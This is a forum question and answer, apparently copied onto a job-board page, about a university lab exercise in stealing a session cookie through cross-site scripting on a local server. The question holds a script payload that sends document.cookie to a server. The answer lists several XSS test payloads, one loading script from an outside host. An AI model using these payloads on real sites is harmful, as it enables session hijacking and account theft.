Empresas
Empregos
  • Sobre nós
  • Soluções
    • Publicação de vagas
      Publique sua vaga e receba candidatos qualificados em 48h.
    • Avaliações de candidatos
      Mais de 500 testes técnicos e psicológicos, mais anti-fraude.
    • Headhunting
      Busca executiva personalizada do início ao fim.
    • Folha de Pagamento + EOR
      Dispersão de folha e EOR em mais de 15 países da LATAM.
  • Preços
  • Empregos

0

107
Visualizações
Get session cookie (xss, payload)

I have a problem with getting the session cookie. I tried to rewrite the URL name from this http://127.0.0.1:55555 to this http://127.0.0.1:55555/?p=<script>document.write('<img src=http://127.0.0.1:55555/?c='document.cookie+'/>');</script> but I am unable to get the session cookies.

This is a project work in the university, and the teacher asked two questions about it, to help us get to know what's wrong with this

  • Are you sure that the payloads are working and running?
  • Are you sure that you should send the request to this local server?

I still do not really get how should I rewrite the URL.

This is how the whole page looks like:

enter image description here

And this is the link where the ZIP file is: https://drive.google.com/file/d/18VyalmoQdiZ0lKhvEGazfiXSwoLKgp_8/view?usp=sharing

about 4 years ago · Juan Pablo Isaza
1 Respostas
Responde à pergunta

0

Multiple things could be at play. Without having enough details and any source code to work with in your question, I'd say pay attention to:

  1. You may be blocked by the browser's built-in XSS protection.
  2. You may not be piping the javascript into any vulnerable field. Without knowing what on your page uses the value from ?p= it's hard to determinate. We may need to see the full source code of the page.
  3. Depending on what you try to achieve, your javascript for the XSS might be wrong.
  4. The cookie you try to retrieve via XSS may not exist or may be empty. XSS runs locally on your browser, not on the server of the website so the data you try to grab must already exist stored in the cookies.

To test if the target is really vulnerable to XSS, please have a look at some of the XSS payloads below. They're simple so if there really is XSS, you may have success.

https://github.com/payloadbox/xss-payload-list

Some example of good XSS payloads to test:

<script\x20type="text/javascript">javascript:alert(1);</script>
<script>javascript:alert(1)</script\x0D
<svg><x><script>alert(1)</x>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<BODY ONLOAD=alert('XSS')>

You can try each one by replacing yours, like this:

http://127.0.0.1:55555/?p=<BODY ONLOAD=alert('XSS')>

If any of these work, it means you do have an XSS vulnerable field and there's something wrong with your XSS code if it doesn't retrieve the cookie.

Unfortunately, I cannot help more until you make it more clear what your goal is, and maybe post the source code of the website in question.

about 4 years ago · Juan Pablo Isaza Relatório
Responde à pergunta
Encontrar trabalhos remotos

Descubra a nova forma de encontrar um emprego!

melhores empregos
Principais categorias de trabalho
Empresas
Postar vaga Preços Comercial
Jurídico
Termos e Condições Política de privacidade
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomende algumas ofertas para mim
Preciso de ajuda